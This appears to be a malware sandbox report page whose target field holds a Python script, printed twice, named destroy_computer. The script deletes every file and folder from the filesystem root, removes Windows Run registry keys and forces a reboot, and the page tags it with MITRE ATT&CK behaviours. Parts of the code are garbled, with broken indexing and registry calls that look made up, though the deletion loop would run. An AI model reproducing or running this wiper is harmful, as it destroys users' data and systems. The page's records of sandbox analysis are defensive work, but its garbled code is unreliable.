General

  • Target
    http://import os import time import sys def destroy_computer(): # Clear the screen os.system("cls" if os.name == "nt" else "clear") # Display a countdown timer print("Destroying computer...") for i in range(10, 0, -1): print(f"\r{i}...", end="") time.sleep(1) # Delete all files on the computer for root, dirs, files in os.walk("/"): for file in files: os.remove(os.path.join(root, file)) print(f"Deleted file: {file}", end=" ") for dir in dirs: os.rmdir(os.path.join(root, dir)) print(f"Deleted directory: {dir}", end=" ") # Delete the system registry import winreg key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") for i in range(1, winreg.QueryInfoKey(key)0 + 1): item = winreg.QueryValueEx(key, winreg.ExtractSymbolicKey(winreg.QueryKey(key, i))) if item0 != "": winreg.DeleteKeyEx(key, item0) print(f"Deleted key: {item0}", end=" ") # Restart the computer os.system("shutdown /r") def main(): destroy_computer() if __name__ == "__main__": main()
  • Sample260831-bl9pyscj6v

Malware Config

Targets

    • Target
      http://import os import time import sys def destroy_computer(): # Clear the screen os.system("cls" if os.name == "nt" else "clear") # Display a countdown timer print("Destroying computer...") for i in range(10, 0, -1): print(f"\r{i}...", end="") time.sleep(1) # Delete all files on the computer for root, dirs, files in os.walk("/"): for file in files: os.remove(os.path.join(root, file)) print(f"Deleted file: {file}", end=" ") for dir in dirs: os.rmdir(os.path.join(root, dir)) print(f"Deleted directory: {dir}", end=" ") # Delete the system registry import winreg key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") for i in range(1, winreg.QueryInfoKey(key)0 + 1): item = winreg.QueryValueEx(key, winreg.ExtractSymbolicKey(winreg.QueryKey(key, i))) if item0 != "": winreg.DeleteKeyEx(key, item0) print(f"Deleted key: {item0}", end=" ") # Restart the computer os.system("shutdown /r") def main(): destroy_computer() if __name__ == "__main__": main()
    • Boot or Logon Autostart Execution: Active Setup

      Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

MITRE ATT&CK Enterprise v16

Tasks